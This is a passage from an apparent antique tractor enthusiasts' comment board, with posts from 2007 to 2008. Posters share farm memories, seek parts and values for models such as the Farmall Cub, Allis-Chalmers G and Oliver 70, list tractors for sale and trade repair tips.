john D. Ondrej wrote on Tuesday, March 04, 2008 (PST):I grew up on a farm in Texas and learned to drive and plow cotton on my father s oliver 60 tractor at about 9 years of age. Over the years I covered many acres on this tractor from schreading cotton stalks to spraying cotton. In fact my uncle had an oliver 60 also and my cousin and I used to race the tractors from field to field when where custom spraying cotton for the public. This was a lot of fun until my father found out about the racing. My father sold this tractor in about 1995 and it still was in running condition.
T.EVERY wrote on Saturday, March 01, 2008 (PST):Tony, I love the old cubs. contact me at tevery at bsheriff.net can you send any photos
jim eastham wrote on Saturday, March 01, 2008 (PST):i have an extra block,set of rear tires and wheels steering gear and front axels and wheels for the g,if anyone is interested. im in camp verde az. ph#9285679683.
jim eastham wrote on Saturday, March 01, 2008 (PST):i have an extra block,set of rear tires and wheels steering gear and front axels and wheels for the g,if anyone is interested. im in camp verde az. ph#9285679683.
William Smith wrote on Friday, February 29, 2008 (PST):My dad had a Jubilee with parts of 3 sets of half tracks. I pulled the wagon with a chain under the Farmall M and corn picker through the muddy fields to keep the picker straight in the rows. I have it now with many of the toys, including the half tracks, loader, cab, Navy bean puller, and buckets for the Dearborn loader.
dennis barnette wrote on Thursday, February 28, 2008 (PST):RE Tires...H.E Miller has tires for the G, but they ain t cheap... 285.00 each for the rear plus 75.00 for the tubes I am looking for a set of cultivators please state price and location..thanks
Green Mister wrote on Wednesday, February 27, 2008 (PST):Finally got a 1951 G like my grandpa had back in Norhtern Ill...It s a GREAT tractor only took me 50 years to get it! Have a 2 car garage and I get the G in and my wifes Escort AND my Crown Vic...That s the only reason I got to keep the G!! Good looking tractor too!
david lorenzen wrote on Tuesday, February 26, 2008 (PST):I have a G allis with a scikel mower. How rear are they
jason marks wrote on Saturday, February 23, 2008 (PST):my dad has a 770 he bought 30 years ago at an auction. over the years we did everything short of restoring it. Henri i think your clutch problem could be because of a leaky rear main seal, because we found that when engine oil gets onto the clutch it becomes very sticky, especially when hot. and if anyone has trouble with rear end whine, it could be worn bearings, but it still would be safer to change the gear oil more often and also check your trans cover seals as well as the gear shift boot, because this allows water to get in and thus increase transmission wear. we use 80-90 gear lube in our tractors, but heavier or even synthetic oil will help as well.
Harvey Drake wrote on Saturday, February 23, 2008 (PST):My Dad bought a 1949 Massey-Harris 44 gas used when I was about 8. I loved to drive it and it was a real work horse. I think it put out 48 horsepower at the drawbar, but it had been rebuilt at least twice, and was built to 44 special specs. Origionally it was 44 horses at the drawbar, and about 52 at the PTO, I think. If you have a 6 cylinder model, they were not as powerful. I was sad when my father had to sell it and I didn t have money to buy it.
larry heard wrote on Friday, February 22, 2008 (PST):i have a 1962 usaf mototug,built on a ford model 2120 4 cyl chassis. it is restored is there any resale value for this tractor, or if anyone remembers these tractors from the service,any info would be appreciated thanks Larry
Bill Doyle wrote on Thursday, February 21, 2008 (PST):I m restoring it. I need a lift assy. for a l949 Cub cultivator. Consist of a spring, a rod to attach the tee bar and lift the rear cultivator. Can anyone help
DUAN ANDERSON wrote on Wednesday, February 20, 2008 (PST):What would be the value of a SUPER 77 OLIVER that has been professionally restored and has 101 hrs on it since restoration
James Massey wrote on Tuesday, February 19, 2008 (PST):Wanted; Allis-Chalmers G model Tractor, running or not, metal straight or not, just no frame damage. 270-554-6900 or 270-556-5798. Thanks. James in West.KY
Floyd Thiessen wrote on Tuesday, February 19, 2008 (PST):My dad had a 22-36 in the 30s. When I was 9 and my brother was 12, dad would start the tractor in the morning before leaving for work. My brother would push the clutch with both feet while I engaged the transmission lever. At noon we would refuel it with the engine running, add a quart of oil and, head back to the field. In other words, it literally ran all day long because we were not large enough to crank it.
Luke Roy wrote on Sunday, February 17, 2008 (PST):looking for 3 point hitch for Massey Harris 33 row crop 1954
Tom Spragg wrote on Sunday, February 17, 2008 (PST):I have the culivator that was on my C when I bought it also the large crank wrench for the front bolts,it still has some of the red and blue paint, on the tool bars ect. want to sell, make me an offer!!!!
Con wrote on Thursday, February 14, 2008 (PST):I have a Samson 3 wheeler in my shop. It is complete but the engine has been frozen up for 30-40 years. Head is off and cylinder walls are deeply pitted. Would like to know if anyone out there would like to purchase it restore it. Tractor ser# is 2116. Model is S25. Engine number is 7338. Has GMC emblem on tag on engine. Don t know what year it is.
Mike Biggs wrote on Thursday, February 14, 2008 (PST):Yes, I drove the farmall B. It was my grandparents. My cousin owns the tractor now. Mikie B.
Tony Boulding wrote on Wednesday, February 13, 2008 (PST):I have a I think a 1949 Cub with a belly mower and it works real good. The tractor is in good shape. Got me a bigger tractor and would like to sell my cub don!t need two tractors Will take 1200.00 for it
Jim Castleman wrote on Monday, February 11, 2008 (PST):I have a 33 and two 44 s one with an original wide front end. Spent a lot of long hours on a 1950 44 when it was new and for the next seven years.
Ty wrote on Saturday, February 09, 2008 (PST):Looking for the value of 1945 John Deere LA with implements. Tractor is in good running condition.
John Gallimore wrote on Saturday, February 09, 2008 (PST):Hello, I bought a very sad 1953 pony for my 50th birthday, and have since restored it.I live in central France, where ponys can still be found, usually at the back of barns ! Arild Magne Olaisen wrote on Wednesday, December 19, 2007 PST ; The engine is indeed a simca Aronde Flash, with aluminium cylinder head.These engins were adapted from the car with massey harris castings. Also used was a peugeot engine.These machines were assembled in /northern France from 1951 to 1957, many being exported to the French African colonies. I have fitted a hydraulic pump from a renault 22 tractor, but would like to find the original type pump combined water and hydraulic in any condition. If I can be of help please e-mail me at gallimore.john at wanadoo.fr.
Bob wrote on Friday, February 08, 2008 (PST):I have an Oliver 18-28 tractor which I am trying to restore. I am having problems finding any parts to fit it. Should anyone know of a place, I would appreciate knowing about it.
Joyce Allen wrote on Thursday, February 07, 2008 (PST):My dad just bought a farmall M Dec 15 2007 we know nothing about it serial # fbk 99395x1 if you can help me out with a year please give me a call 520-723-2815
Joyce Allen wrote on Thursday, February 07, 2008 (PST):My dad just bought a farmall M Dec 15 2007 we know nothing about it serial # fbk 99395x1 if you can help me out with a year please give me a call 520-723-2815
Lester Brown Sr. wrote on Thursday, February 07, 2008 (PST):I have a tractor,that is in good condition, Is s a Oliver Hart-Parr printing on the front of the tractor, wood seat, whees or metal, rubber tires, for the age of this tractor it s in great condition, WANT TO SELL TRACTOR FOR WHAT IT IS VALUED AT. if interested in buying please contact me ASAP, I can send picture, and other information please contact me only if serious in making genious offer. I m in Austin Texas.
arlene wrote on Tuesday, February 05, 2008 (PST):hi, am looking for an engine for our JDL,we need a Hercules engine,can anyone help us
Floyd Thiessen wrote on Monday, February 04, 2008 (PST):In 1941 my dad purchased a used 9N and at age 10 I became the designated driver. We had 9Ns and 8Ns during the 40s and 50s. For some unknown reason, our first 8N had to have new rings and sleeves every year to control the oil consumption. After the 3rd free repair, the mechanic began to look more closely for the problem. The 3 inch rubber hose coupling that connects the air intake pipe from the breather had a kink where it clamped to the carbeurator. For 3 years it was breathing dirty air. Problem solved!
Jody Hamm wrote on Monday, February 04, 2008 (PST):I am in need of a replacement gas tank for my B farmall.
Rob wrote on Monday, February 04, 2008 (PST):Found TD-20 I think in the bushes. Been rusting for quite a while. Missing the engine cover panels. Carburetor busted at connection point ice/thaw for 20 years . Could push a finger through the valve cover. Tracks/undercariage controls look viable. Radiator looks good. Looks like it s full of parts for anyone willing to pull it apart and clean all the rust off... Just bought a 1952 Cat D2 - So I can part with the TD20 for a fair offer. Near Abany NY. -Rob
richard richter wrote on Sunday, February 03, 2008 (PST):where can i get these tracks for my tractor .do thay still make them thank you
Jim Broughton wrote on Saturday, February 02, 2008 (PST):Hey ! It snowed here in Oregon, finally and I got to put the blade on my Cub and plow the roads..then it warmed up, rained like mad, wind blew down my canvas shed over my Cub...had to cover it up with a tarp ! Darn !!
Jim Alloway Ohio/Wv border close to I-77 wrote on Saturday, February 02, 2008 (PST):i believe my G is a 1953, runs pretty good, has hyd. lift plow,cult,mowing machine,parts mowing machine, belt pulley, replacement manual, good tires. Would be a great little tractor to restore. I pull roller with it. 3750.00
Terr Fulk wrote on Saturday, February 02, 2008 (PST):We were given a 1943 Farmall Tarctor, And every thing works on it but, it just wont stay running, Does anyone out there know what might make this happen, Thank you Terri..
Terr Fulk wrote on Saturday, February 02, 2008 (PST):We were given a 1943 Farmall Tarctor, And every thing works on it but, it just wont stay running, Does anyone out there know what might make this happen, Thank you Terri..
Jim Broughton wrote on Tuesday, January 29, 2008 (PST):To Carrie; Remove the inspection plate underneath the clutch housing and put tractor in neutral..start up engine and check for noise in the clutch. If the metal to metal noise persists..check the shaft that the gear runs on..it may be worn or out of round. You may have to wind up splitting the tractor to find the source. Good luck, sorry I couldn t be more help. Jim B.
Auburn Prince wrote on Saturday, January 26, 2008 (PST):As you can tell by our e-mail address my wife and myself are retired and enjoying life. Howerver at this age in life a man needs something a little extra to interest him, so I joined a tractor club. Would like to buy a 1944 International H to restore and have for the club.Can anyone tell me what one is worth that is average with a three point hitch, 12 volt, narrow front Thanks to anyone,Auburn Prince
Mark wrote on Saturday, January 26, 2008 (PST): I have a rare 1942 Case V forsale In very good condition, no rust or dings in metal.Runs,no smoke.Shown at the museum of the appalachia.For more Info call me 423-784-1899
Mark wrote on Saturday, January 26, 2008 (PST): I have a rare 1942 Case V forsale in very good condition no rust or dings on metal,runs,no smoke.Shown at the museum of the appalachia. for more Info call me 423-784-1899
Mark wrote on Saturday, January 26, 2008 (PST): I have a rare 1942 Case V foresale In very good condition no rust or dings on metal.Runs no smoke.I show it in the museum of the appalachia.For more Info call me 423 784 1899.
Stan Davis wrote on Friday, January 25, 2008 (PST):I have two 8n 6 cyl. Funk tractors and one needs a starter replaced. Does any one know where I can purchase a starter I would sell one if anyone is interested. Thanks
Art Jette wrote on Thursday, January 24, 2008 (PST):I have a 1951 M that my grandfather had owned. My uncle drove into the bench mounted vise in the garage years ago and bent the grille. The real damage occurred when he tried to hammer it out. I d really like to find a replacement grille. If anyone can help me, please call collect 207.277.3518
arnold denney wrote on Wednesday, January 23, 2008 (PST):I once owned an L Industrial. It was originally used as a right of way mower by the State of Kentucky. The state seal was still visible under the re-paint job. All I had with it was a side mounted sickle mower with some pieces missing. It had a two piece bolt-on pulley on the driveshaft to power the mower. Somneone mentioned a low oil pressure when their engine became warm. Mine did the same. It had babbit rod bearings and they were worn badly. I don t know whether a machinist could convert anything to insert type bearings. I replaced my original Hercules engine with one from a John Deere combine. That engine had inserts and was a sleeved engine, as I recall. I had a lot of fun with this tractor and my small children enjoyed trips around the farm and through the woods. We later moved into town and didn t need the tractor anymore. I sold it to a man in Casey County, Kentucky about 1976. I think he worked for the Kentucky Department of Highways.
northener wrote on Wednesday, January 23, 2008 (PST):Does anyone know the parts numbers or where I can get brushes for a 4jma magneto off a 50 s case
kevin brown wrote on Tuesday, January 22, 2008 (PST):have 1956 case vas repainting at this time will send pic later if anyone has 56 vas please let know
george warrington c/o wrote on Tuesday, January 22, 2008 (PST):igot a 1930 case L lastyear iit is very well i took it to cooley vintage show last year
Don Sullivan wrote on Monday, January 21, 2008 (PST):I am still looking for someone to help me find out how many 1954 SMTA tractors were made with out the TA and how many had an all fuel engine too. Thanks Don 810-367-6054
Mark wrote on Monday, January 21, 2008 (PST):JUST got a great running 47 farmall A series culti-vision tractor in Premo condition on a trade for 27 fence posts...YEP I had to deliver the posts...its more fun than my 20 thousand dollar Kubota B21 with backhoe. IS there a Grader blade attachment for these farmall tractors What a HOOT !!!
Allen Quigley wrote on Saturday, January 19, 2008 (PST):My grandpaw owned the first Oliver 70 that came off the assembly line. It was used on our farm in North Liberty,Ind. up util around 1964. My father,grandfather both worked at a Oliver dealership in Lakeville,Ind. for quite a few years,before running their own tractor repair shop. I would like to know who owns #1 now. Please email with any information,thanks
Dave Gierszewski wrote on Saturday, January 19, 2008 (PST):Am working on a 1922 8-16 International that belongs to the Rollag show, Rollag MN. This tractor runs great but the original frame had broken and has been patched. Anyone with just a frame out there Also looking for fender supports , have a source for duplicate fenders.
C. Joyner wrote on Friday, January 18, 2008 (PST):WANTED; Left fender with ribs for 1944 SILVER KING Model 42. Thanks. 919-934-7584
C.Joyner wrote on Thursday, January 17, 2008 (PST):WANTED; headlights, steering wheel throttle for 1944 SILVER KING Model 42. Thanks.919-934-7584
Bill Hickey wrote on Wednesday, January 16, 2008 (PST):My 52 cub has a problem. I put new plugs in it last week but they are turning a sooty black. Noticed today that the carb is icing up. Any suggestions
Joe wrote on Wednesday, January 16, 2008 (PST):I am looking for a block or motor for my Allis Chalmers G.
JEREMY OWENS wrote on Tuesday, January 15, 2008 (PST):Hi,I m looking for a good close up picture that is readable of a port huron steam engine logo.If you could email me one I would really appriciate it.Thank you.
Jim Turner wrote on Monday, January 14, 2008 (PST):I just bought a 1950 ZAN can someone tell me what is the difference between that and a Z or ZA
carrie wrote on Monday, January 14, 2008 (PST):My husband and I own a 1948 Cub. Just completed restoration on it. It made a metal against metal sound in the tranny before and it still is. Replaced lots of parts. We think it may be the reverse idler gear. Took it back apart and put a used one in. Put it back together and it still makes the same darn noise. Stops making the noise when you take the gear out and turn it by hand. Just wondering what you all think. Any help appreciated.
Todd wrote on Friday, January 11, 2008 (PST):Mr Vangness Your posting referred to some parts that you still for a Farmall Regular.Would they be for sale and What all do you have Thanks
Joe wrote on Wednesday, January 09, 2008 (PST):If any one can give me any information on how you can set up a 60 s radiator curtain please respond back on this site
Norm Vangsness wrote on Monday, January 07, 2008 (PST):I must concur completely with Mr Rahilly. My father also bought a Farmall or Regular which is what they were called after the F-30 and F-20 made the scene . Bucking broncos is what they were. Lots of power in low gear as long as they had traction. You really couldn t stop them in the field. The thing I remember most, never pop the clutch. Those drive gears would walk the thing right over on top of you. Also, in the the evening driving the regular , the flame would really shoot out of that bell muffler . My father, later bought a newer F-20 and parted out both the Farmall and older F-20. I still have a few part such as engine canopy and aircleaner assembly.
Sharon Thornton wrote on Monday, January 07, 2008 (PST):Need help Pre-20/30 Oliver steel wheeled tractor was stolen from my property. It had huge steel wheels in with spikes front tires also steel smaller . Tractor seat was nearly over the back axle. Tractor was not running but all parts intact. I am wondering what model Oliver this is and about how much it would be worth. Also if anyone may have a picture of one. Please e-mail me.
Don Sullivan wrote on Thursday, January 03, 2008 (PST):I have a 1954 Super M without TA never had a TA,also is an all fuel engine too. Can anyone tell me how I can find out how many of these tractors were made.810-367-6054 Thanks
Don Sullivan wrote on Thursday, January 03, 2008 (PST):I have a 1954 Super M without TA never had a TA,also is an all fuel engine too. Can anyone tell me how I can find out how many of these tractors were made.810-367-6054 Thanks
ROLLAND WHIPPLE wrote on Wednesday, January 02, 2008 (PST):I purchased a three wheel silverking recently and need a starterfor it If someone could help please call 219-863-0071
JEFF BUTZ wrote on Sunday, December 30, 2007 (PST):I am restoring a 42 oliver 70 Not sure of proper paint colors on grille area. seen them painted different ways
A.E.S. wrote on Sunday, December 30, 2007 (PST):Had a GREAT 420C, agricultural green , back in WV but had to leave it to come to OR. Really miss it as it was my means of getting around on the farm as I am a 100% disabled vet. It brought me many an hour of enjoyment and wish I had it here with me now....they are a good size for doing even big jobs. I had it rebuilt several years ago with new steering cluches and brakes and even had it re-painted and new decals applied, boy do I miss it. We live in the mountains just like back in WV and as it has snowed here the past few days I could sure have fun pushing snow....did I mention that I miss playing on my toy , as my wife called it. For those of you that have your 420 s KEEP them as they are a GREAT joy, if not even for work.
kyle warden wrote on Saturday, December 29, 2007 (PST):I would like to find a G that needs to be re done. I am a Senior in Mcloud schools in Oklahoma. I would like to be able to finish it for the FFA shows and praides for spring.
stephen darche wrote on Friday, December 28, 2007 (PST):I BOUGHT A M/H GRC 44 HIGH ARCH WIDE FRONT END. I AM LOOKING FOR THE STEERING ROD GUARD THAT GOES JUST BELOW THE FRONT GRILL.MY TRACTOR IS A 1949 ;THE METAL IS IN GOOD SHAPE AND IT RUNS GREAT.ALSO I AM LOOKING FOR A 3 PT HITCH.DEC 28 2007.
Don Evans wrote on Friday, December 28, 2007 (PST):Looking for T-20 parts; Hood Rt. and Lt. side panels Seat Radiator filler cap Exhaust manifold Linkage below manifold Hand brake Drawbar hitch
Bill Hickey wrote on Thursday, December 27, 2007 (PST):I have a 1952 farmall cub. I would like to get a loader to fit my cub. Does anyone know if they work O K on a cub or am I wasting my time looking
Hal Nason wrote on Monday, December 24, 2007 (PST):I have a Massey Harris tractor model 102 SR serial # 263881 which I plan to restore starting this winter. I read on another site that the difference between a 101 and a 102 is the 101 uses gasoline and the 102 uses distillate fuel. What is distillate fuel The previous owner was trying to use gasoline would this be the reason it would not run properly Thanks in advance for any help.
James Hinton wrote on Saturday, December 22, 2007 (PST):I have 2 F-20 tractors that I am willing to sell parts off of, or would sell them to be restored. I know there is a rebuilt head as well as new pistons and sleaves and also 2 other heads. You can contact me at 270-668-5326 in north central KY. Thanks.
ROB wrote on Saturday, December 22, 2007 (PST):HAVE PART S FOR JOHN DEERE MC-----1 SET TRACK CHAINS---NEED S PIN S AND BUSHING PLUS OTHER MC PART S LET ME KNOW WHAT YOU NEED I MIGHT HAVE IT
Harold Dalton wrote on Thursday, December 20, 2007 (PST):have a 1957 HD3 new motor owner s and service manuel tractor is in better than average shape changed hobbys would like to sell
john Meade wrote on Wednesday, December 19, 2007 (PST):Anyone know how to install a directional piston in a plow, Fisher Plow
Arild Magne Olaisen wrote on Wednesday, December 19, 2007 (PST):Dear sir. I have a friend that have a Harris Pony 812. The engine is gone, and it has been a Simca engine in it. Are there someone that migt guide me to the right simca or talbot car that had this engine What was the name ow the engine and what brand was the car s. Best regards Arild Olaisen
Richard wrote on Tuesday, December 18, 2007 (PST):I am in need of schematic or wiring diagram that will help my father-n-law convert a 6 volt to 12 volt on a 1945 model h . Any help is very much appreciated. He said he was removing the 6 volt generator and replacing with a 12 volt alternator with built in regulator.
James Cunningham wrote on Monday, December 17, 2007 (PST):If you still have the 1937 F20 Farmall that you listed in September 2007, I would like to ask some questions about it and would also like to know where you are located. You can contact me by phone at 903-577-8065. Thank you.
merle wrote on Sunday, December 16, 2007 (PST):this is a good looking tractor.I have just purchased a vai case that looks very near that.I;m not shur what year I have but think it may be a 1951.I was told it was a 1945 when I purchased it ,my serial no. is VAI5559508.Its nice to see others like what you have.
lapin bertrand wrote on Thursday, December 13, 2007 (PST):i am posting a super 77 oliver tractor for a widow, it is in perfect shape as far as i know- she would like to sell it or find out what it is wourth. thanks
Eric wrote on Wednesday, December 12, 2007 (PST):My wife and I bought a fordson major diesel about 1.5 year ago from her grandmother. we recently had a tire on the rear of it go flat and to dry rotted to fix the size on it was 13.6-38 and used truck tires on the front size 215-85-16 we were wondering if this it the right size for it. While we have the tires off of it we are having the rims sandblasted so we can repaint them, we were also wondering what is the correct color of paint for the rims on this tractor What is the correct color of blue for the tin work The closest year that I have been able to come up with is 1954, but if you have any good idea of how to find out the actual year or where I can find the numbers to figure it out I would appreciate it. The tractor also had a loader on it that we are not going to put it back on for hopes of someday restoring it in the future. We are located in Illinois Thanks for your help.
Bruce wrote on Tuesday, December 11, 2007 (PST):The serial numbers for the 2010 are etched on the top of the tranny housing at the rear of the tranny cover. If you are sitting in the seat it is under your left side on the rear corner of the cover plat on top of the tranny.I have seen 6 2010 serial numbers and none are on a plate they are engraved into the cast iron.
E. Morgan wrote on Sunday, December 09, 2007 (PST):I have an elderly friend who has an F12 1938 with steel wheels, a cultivator, and a sickle bar to sell, but we need to know the going prices. The tractor ran a few years ago and was used occassionally by her husband. It starts with a hand crank. Any help in getting it priced would be appreciated. Dec. 9, 2007
Richard Coulter wrote on Sunday, December 09, 2007 (PST):On the silver king web sitethere are two silver king tractor brochures displayed The lower or second displays a 3 wheel model with only horizontal structure in the grill. when did this manufacturing change take place What significance is this in determining the year and model. i am woking from a picture only and do not have the serial number. can you help me determine the age of my father s silver King in my picture
cary hager wrote on Saturday, December 08, 2007 (PST):I have a 1952 pony with hydraulic lift want to know if there is a way to convert from 2 point to 3 point hydraulic system on my tractor. Tractor is totaly restorerd looks great. Hope some one can help me thanks.
Ken Snider wrote on Thursday, December 06, 2007 (PST):Looking to buy a 1955-1956 Massey Harris 44 Special, Factory LP, narrow front end. Restore or restorable. As orginal as possible.
JR reich wrote on Wednesday, December 05, 2007 (PST):I bought a case sc model tracter about 2months ago. the tractor runs great,works wonderful,but my problem is i don t know what year it is and the tag on the dash is gone ,any way of telling what year it is I love the tractor ,I mowed my 8 acers with it and then did my mother in laws place with it and after sitting for 2 years seems to want to go and do more. Any information I can get on it would be greatly helpfull. I also need to know how to maintain it to keep it running good please if you have anything Email me thank you
Tom Ryan wrote on Tuesday, December 04, 2007 (PST):FOR SALE; John Deere Model 1949 R, fully restored sandblasting, painting, rewiring, engine rebuild, new tires all around, new seat, radiator flushed and cleaned out, full decal kit, new PTO pressure plates, new clutch plates, new battery and battery cables ... and much more. This tractor is in mint condition and must be seen to be appreciated. Call Tom Ryan 519-393-6985 South Western Ontario, Canada or email; thomas.ryan at quadro.net for further information.
Larry wrote on Saturday, December 01, 2007 (PST):I would like to buy a S/K Model 42. Please contact at 618 569-3047
Mike Bahr wrote on Friday, November 30, 2007 (PST):Anyone know where I can locate a cheep set of fenders for a 1952 Super M with Double tires Also looking for a T6 International Dozer, for parts or in running shape. 218-242-1698 Thanks
Ron Naslund wrote on Thursday, November 29, 2007 (PST):I have driven several of these from CC s and SC s to DC s and they were all pretty good tractors. Easy steering for the day and decent horsepower. My stepfather had a DC and CC and a friend had two DC s, one brand new in 1954 with a mounted plow. I have a friend Dennis Bjorling that owns a DC and a SC and wants to sell them as he has no interest in them. Both have loaders on them and one has new rear tires. The engines ran a while back and we are working to get them going again so we can get them in the machine shed.
Walter wrote on Wednesday, November 28, 2007 (PST):Would like information on Cletrack crawler possibly 1920 s vintage or older. 6 cylinder gas. Motor has H on the head casting. # 35 cast into radiator housing. photos available.
Walter wrote on Wednesday, November 28, 2007 (PST):Would like information on Cletrack crawler possibly 1920 s vintage or older. 6 cylinder gas. Motor has H on the head casting. # 35 cast into radiator housing. photos available.
Tony wrote on Tuesday, November 20, 2007 (PST):My grandfather had a 1948 cub international that he purchased new for 807.65. The model # was fcub 14844. When he passed away in 1972, my dad sold the tractor and it is something he has regretted doing ever since. Does anyone know how I might be able to locate this tractor if it still exists or where I might be able to purchase one for my dad. Thanks, Tony
Tony wrote on Tuesday, November 20, 2007 (PST):My grandfather had a 1948 cub international that he purchased new for 807.65. The model # was fcub 14844. When he passed away in 1972, my dad sold the tractor and it is something he has regretted doing ever since. Does anyone know how I might be able to locate this tractor if it still exists or where I might be able to purchase one for my dad. Thanks, Tony
Alan wrote on Saturday, November 17, 2007 (PST):I have a massey 98 currently under restoration. I grew up on this tractor. My dad bought it in 1970 and we repaired it and farmed with it for about 25 years. in St.John Washington. I also have a Model R John Deere that is about 90 % restored. Dad bought that one in 1969 and it has been in almost constant use until 3 years ago when I restored it
Wayne Mullican wrote on Thursday, November 15, 2007 (PST):I am completing restoration on a M Farmall that my Dad started a year or more ago.He was adding 12 volt sys.,m w full time hyd.,m w hand clutch.ever thing has been redone like new.He passed on May 1-2007.He always worked on tractors,and was good at it.this M will be a shower.
Randy Voss wrote on Wednesday, November 14, 2007 (PST):I would love to track down the D that my father owned. My grandfather used to plow with it when I was a little tike and I would fall asleep on the rear gear cover from the warmth and vibration. I ran it in the 60 s when I was a teenager pulling 5 bottoms in a two plow tandem rig my dad fabricated. Ah the memories. Last I knew it got traded for an AC WD45 in the late 60 s at dealer in Somonauk, IL. It was unstyled, late 20 s/early 30 s I think solid flywheel, 2 speed trans. It was on rubber with cement poured into the rear wheels for weight. Any suggestions on how to find this old friend would be gratly appreciated.
kendall wrote on Wednesday, November 14, 2007 (PST):looking for a 1256, 1456, 856 with turbo, 966, 1066, 1466, 966, and 766 with bad motor. manly on the 766 for a feed wagon tractor have motor for it. 1256 1456 856t 1066 1466 966 looking to fix up and have around the farm short on tractors. all 66s can have bad motors and in ok shape ta s can be out and cluthces to may consiter on with bad rearend. dad is sick of me barowin his tractors. started farmin and need one more for manly just abou any job. ps will look at 06es to
Janet Pfeiffer wrote on Wednesday, November 14, 2007 (PST):We are restoring a 1939 SK 3 wheel. We had the carburetor rebuilt. Engine turns free. We have spark however it will not start. Any suggestions. Also we are in need of a manifold ours has a small hole. Any help would be greatly appreciated
Derek Redinbaugh wrote on Tuesday, November 13, 2007 (PST):My grandfather was Jim Keenan, the do-all man . He owned all four models 1928-1931 of the Rumely tractors. He onced farmed with one when he was 24. He sold it and later bought it back for 800.00. He completly restored the tractor and put an electric starter on it. He tracked down the other three tractors and restored them as well. I used to go with him to tractor shows in Nebraska when I was growing up. It was fun to watch him whip cookies in the plow tractor that had a pivoting wheel in the rear. Im not sure who owns them now, but I hope they are taken care of like my grandfather would hope they are.
john ryan wrote on Tuesday, November 13, 2007 (PST):we have recently acquired a 1942 model A.it runs well and the body is in need of some modest attention.we would like to be able obtain some under carriage equipment if possible.
Dianne Clawson wrote on Sunday, November 11, 2007 (PST):I have two tractors Farmall A and Farmall located in a small town in south Arkansas. I cannot find a serial number and don t know what year they were built. They re both garage kept. Can anyone help me find out how much they re worth I have digital photos. Any help would be greatly appreciated.
ed botz wrote on Thursday, November 08, 2007 (PST):i had a 1942 s k that was a state hi way mowing rig i used this tractor to power my irrigation pump that i mounted on the draw bar . i would drive it to the ditch throw the sucton line into the ditch start pumping i would leave it there all day and it didnt use mutch gas .i pulled drag harrow with it and some times i used it to pull a grain drill november 8 2007
Jonathan Turnage wrote on Thursday, November 08, 2007 (PST):I have an antique farmall super A that I would like to sale if anyone is interested. I live in Mississippi and I really need to get rid of it
Markuz wrote on Wednesday, November 07, 2007 (PST): I ve got a rough I-6 for sale for 650.00 Its pretty much all there I believe its a McCormick-Deering made in 1944. 207 577-7921 in southern Maine.
Jim Troska wrote on Wednesday, November 07, 2007 (PST):Well I got everything loose in the trany but i cant shif the geares,the rust is in between the splines and it wont slide back and forth,i have it soking in diesel fuel an outomatic trany fluid but still wont slide,can anyone help me thank Jim
Mike Bocchicchia wrote on Monday, November 05, 2007 (PST):I just aquired a 1948 AC G. It runs but the tires are dry rot. I need to replace them and was wondering if anyone can direct me to a place where I can get tires. I m very new to the tractor scene. Any help would be greatly appreciated. I m planning on restoring it as well.
D. O. Dean wrote on Sunday, November 04, 2007 (PST):I have a IH McCormick Farmall getting ready to do some restoration and found a # 851687-R on the trans. Can someone confirm the year I think it is a 1953 Super A Thanks
William Champion wrote on Friday, November 02, 2007 (PST):I am pleased to say I own one of these tractors, but I need a magneto cap for it.
Terry in Washago wrote on Thursday, November 01, 2007 (PST):I jest got A 1948 AC B . It was in parts ,but Ihave got it back too gather and runnig. This tacter is in good shape and in good runnig condshn. I will be paenting it neci year,what paent is the righ one for it Would some one now.
southern british columbia canada. wrote on Tuesday, October 30, 2007 (PST):OC-3 crawlers-have two with parts, also Cletrac HG with Ware brand loader. Looking to see anybodies info on wether or not a restoe is affordable. Can t find generator parts.
Bob Olson wrote on Sunday, October 28, 2007 (PST):I have a 5-10 Avery.1918 in perfect running condition.my dad bought it in 1955 saved it from going for scrap gave it to me for my 12th birthday ,so if my math is correct i ve had it for 52 years , been to many shows here in British Columbia and have not seen another one running . there is one at the fort langley ,machinery museum but is in poor shape , engine cracked and parts missing. I also saw one at Brooks,Oregon that looks like the one in the photo but is un restored.mine is a bit different than the one shown .it has the seat on a swivel,aft of the rear axle, three speed transmission,magneto ignition.I have gathered a bit of literature over the years and one catalog shows a picture that looks like mine.It s NOT for sale but I have wondered if any appraisals have ever been done or does anyone know what others have sold for.I will get a photo posted soon when my kids show me how . capt.Bob Olson
Bill Vander Heyden wrote on Sunday, October 28, 2007 (PST):I have a utility 300 which has a torque amplifier transmission. With the amplifier engaged, handel back the tractor occasionally will loose power to the wheels and has a noise from the transmission. I m thinking it s the over-running clutch causing the problem. Anyone have any thoughts on this Should this be the problem, where can I find the parts to repair it, or does someone have what I need.
Kris Massey wrote on Sunday, October 28, 2007 (PST):I got a hold of a 1959 881 sos for free!! Guy told me that the trans was bad but everything else works. I got it home did a tune-up on the engine and rebuilt the carb. Engin runs great but like the guy said bad trans, or was it I found the main pressure supply tube to the valve body was broke and the strut to band #1 was in the bottom of the trans. After tig welding the tube back together since they are no longer availble and adjusted the bands I still couldn t get the old beast to move. I could hear all of the servo s working and the three planetary gear sets working as I would shift through the speeds. So I decided to remove the axel coupling access cover and found that the lever on the panel was not in contact with the coupling. So I repaired that and put the tractor back together and was able to drive the tractor out of the garage and around the yard. Thats all I could since I had to put the rest of the tractor back together, but just the trip around the farm was a great ride. Now I have a New Holland tractor as well but having an old vintage tractor for free is awesome!!! I love my 881!!
Gary L. Roderick wrote on Sunday, October 28, 2007 (PST):I have come across an Internatioal Model 125 C crawler and need to find out more about it. year it was made, where I can get an oweners manuall, how much it weighs, etc.
gary holtman wrote on Saturday, October 27, 2007 (PDT):My dad bought an F 14 new in 1939. He passed away in 1977.My older brother got the tractor, but, never did anything with it. He let me have it two months ago. I drove the sleeves out with a sledge hammer, decided they looked a lot like C Farmall sleeves. I had a new set of them already. I had to machine .040 off the bottom end and purchased new O rings from Columbus Rubber and gasket Columbus, Mississippi . My son came by yesterday and, after a few turns of the crank, it fired up and ran perfect. I only had to clean the points on the magneto. The spark plugs are one inch national fine bolt size, so, I was able to clean the threads there with atap. I put new bearings in the governor. The main and rod bearings are the same part number as the C I put new tires on this week, 4;00 X 15 on the front, 11.2 X 38 on the rear. It came out new in Nebraska Norfolk with dual tires on the rear. They were replaced with 40 inch singles in 1947. One of my brothers borrowed the tires about 50 years ago and put his F 12 steel wheels on it. They were still on it when I got it, but, my brother gave me a set of H wheels and rims which are 38 . I ve got the tractor repainted now, looking like a pin up I left the little modifications that Daddy made on it, since this was Daddy s tractor, not a purchase from some else. I got the front mounted cultivator with it and hope to get the front mounted buzz saw. By the way, this tractor came out with a road gear and a foot brake along with the hand brakes. While this is still freash on my mind, I ll be glad to 